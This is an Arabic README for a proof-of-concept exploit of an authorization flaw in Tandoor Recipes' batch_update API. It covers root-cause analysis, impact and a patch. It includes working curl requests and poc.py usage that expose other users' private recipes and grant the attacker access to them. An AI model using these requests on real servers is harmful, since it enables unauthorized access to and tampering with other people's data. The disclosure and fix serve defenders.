
إثبات مفهوم لاستغلال CVE-2026-35045، وهي ثغرة في تفويض الوصول على مستوى الكائنات في تطبيق Tandoor Recipes، توضح تعديل الوصفات غير المصرح به عبر نقطة نهاية واجهة برمجة التطبيقات batch_update.
تسمح نقطة النهاية PUT /api/recipe/batch_update/ في Tandoor Recipes الإصدار 2.6.1 لأي مستخدم مصادق عليه داخل مساحة (Space) بتعديل أي وصفة في تلك المساحة — بما في ذلك الوصفات الخاصة المملوكة لمستخدمين آخرين. هذا يتجاوز تمامًا فحوصات التفويض على مستوى الكائن المفروضة على جميع نقاط نهاية الوصفات الفردية القياسية.
السبب الجذري هو فجوة سلوكية في Django REST Framework: إجراءات القائمة (detail=False) لا تستدعي أبدًا has_object_permission()، بل تستدعي فقط has_permission(). تقوم تصفية مجموعة الاستعلام (queryset) فقط على space=request.space، دون أي فحص لـ created_by أو private أو قائمة shared. يمكن للمهاجم إجبار الوصفات الخاصة على الظهور، ومنح نفسه وصولًا دائمًا، وسحب صلاحيات المستخدمين الآخرين، والتلاعب بالبيانات الوصفية — كل ذلك في استدعاء API واحد يبدو غير مصرح به ويعيد HTTP 200 OK بجسم فارغ.
| الحقل | القيمة |
|---|---|
| معرف CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — تجاوز التفويض عبر مفتاح يتحكم به المستخدم |
| CVSS v3.1 | 8.1 عالية — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| الإصدار المتأثر | Tandoor Recipes ≤ 2.6.1 |
| البائع | TandoorRecipes/recipes |
detail=False يتجاوز فحوصات صلاحيات مستوى الكائنالملف: cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← لا يوجد فحص created_by أو private
)
في Django REST Framework، الإجراءات المسجلة بـ detail=False هي إجراءات قائمة. وهي لا تستدعي أبدًا get_object()، مما يعني أن check_object_permissions() و CustomRecipePermission.has_object_permission() لا يتم استدعاؤهما أبدًا. يتم تشغيل has_permission() فقط — والذي يتحقق من عضوية المساحة، وليس ملكية الوصفة.
PUT /api/recipe/{id}/ يتبع تدفق صلاحيات DRF الكامل:
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ يرفض الوصول إذا كانت الوصفة خاصة وغير مملوكة/مشاركة مع الطالب
نقطة نهاية batch_update تتخطى هذه السلسلة بأكملها بصمت.
يكشف RecipeBatchUpdateSerializer عن الحقول التالية — قابلة للكتابة على أي وصفة في المساحة:
| الحقل | التأثير |
|---|---|
private | تبديل رؤية الوصفة |
shared_add / shared_remove / shared_set | التلاعب بقائمة التحكم بالوصول |
keywords_add / keywords_remove / keywords_set | تغيير البيانات الوصفية للوصفة |
working_time / waiting_time | تعديل بيانات توقيت الوصفة |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ المهاجم │ ─────────────────────────────────────→│ خادم Tandoor │
│ (المستخدم B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (عضو في المساحة)│
│ │
│ has_object_ │
│ permission() │
│ ✗ لا يُستدعى أبدًا │
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← لا يوجد فحص ملكية
│
▼
┌────────────────┐
│ الوصفة ID 2 │
│ (مملوكة لـ A) │
│ private=false ← تم التعديل
│ shared=[2] ← منح ذاتي
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ المهاجم (B) │
│ لديه الآن وصول │
│ كامل إلى │
│ الوصفة ID 2 │
└────────────────┘
requestspip install requests
# إجبار وصفة خاصة على الظهور ومنح الوصول ذاتيًا (الافتراضي)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# الإجبار على الظهور فقط (تعيين private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# المنح الذاتي فقط (إضافة إلى قائمة المشاركة، مع إبقاء private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| الإجراء | الوصف |
|---|---|
expose | يعيّن private: false على الوصفة المستهدفة — يجبرها على الظهور لجميع أعضاء المساحة |
self_grant | يضيف معرف المستخدم المهاجم إلى shared_add — يمنح وصولًا دائمًا حتى لو بقيت الوصفة خاصة |
both | ينفذ كلا الإجراءين في طلب واحد (الافتراضي) |
1. الشرط المسبق — الوصفة غير قابلة للوصول عبر نقطة النهاية القياسية
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# المتوقع: 404 (خاصة، غير مملوكة)
2. الاستغلال — batch_update بدون تفويض
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# المتوقع: HTTP 200 OK — {}
3. الشرط اللاحق — الوصفة أصبحت قابلة للوصول الآن
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# المتوقع: HTTP 200 مع بيانات الوصفة، private=false
4. التحقق عبر قائمة الوصفات
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# المتوقع: 2 <recipe_name> False
| مجال التأثير | الوصف | الخطورة |
|---|---|---|
| إجبار الوصفات على الظهور | تعيين private: false يجعل أي وصفة مرئية لجميع أعضاء المساحة | عالية |
| منح ذاتي غير مصرح به | إضافة معرف المستخدم الخاص عبر shared_add يمنح وصولًا دائمًا للقراءة/الكتابة إلى أي وصفة | عالية |
| سحب الوصول | استخدام shared_remove أو shared_set لإزالة المستخدمين الشرعيين من قائمة مشاركة الوصفة | عالية |
| التلاعب بالبيانات الوصفية | تعديل working_time و waiting_time و keywords على وصفات مملوكة لمستخدمين آخرين | متوسطة |
قم بتصفية مجموعة الاستعلام حسب created_by=request.user لتقييد عمليات الدفعة على الوصفات المملوكة:
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← الإصلاح: تقييد على الوصفات المملوكة
)
إذا كان مسؤولو المساحة بحاجة إلى القدرة على تحديث أي وصفة دفعة واحدة، أضف شرطًا قائمًا على الأدوار:
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
أي إجراء detail=False يعمل على كائنات فردية يجب أن يفرض يدويًا التفويض على مستوى الكائن. لا يتم استدعاء has_object_permission() في DRF أبدًا لإجراءات القائمة — تقع هذه المسؤولية بالكامل على عاتق المطور.
إثبات المفهوم هذا مقدم لأغراض اختبار الأمان المصرح به والتعليم فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذه الأداة.
Filipe Gaudard — باحث أمن هجومي | eWPT | eWPTx